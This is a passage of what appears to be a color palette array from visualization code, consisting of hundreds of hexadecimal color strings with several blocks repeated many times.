"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
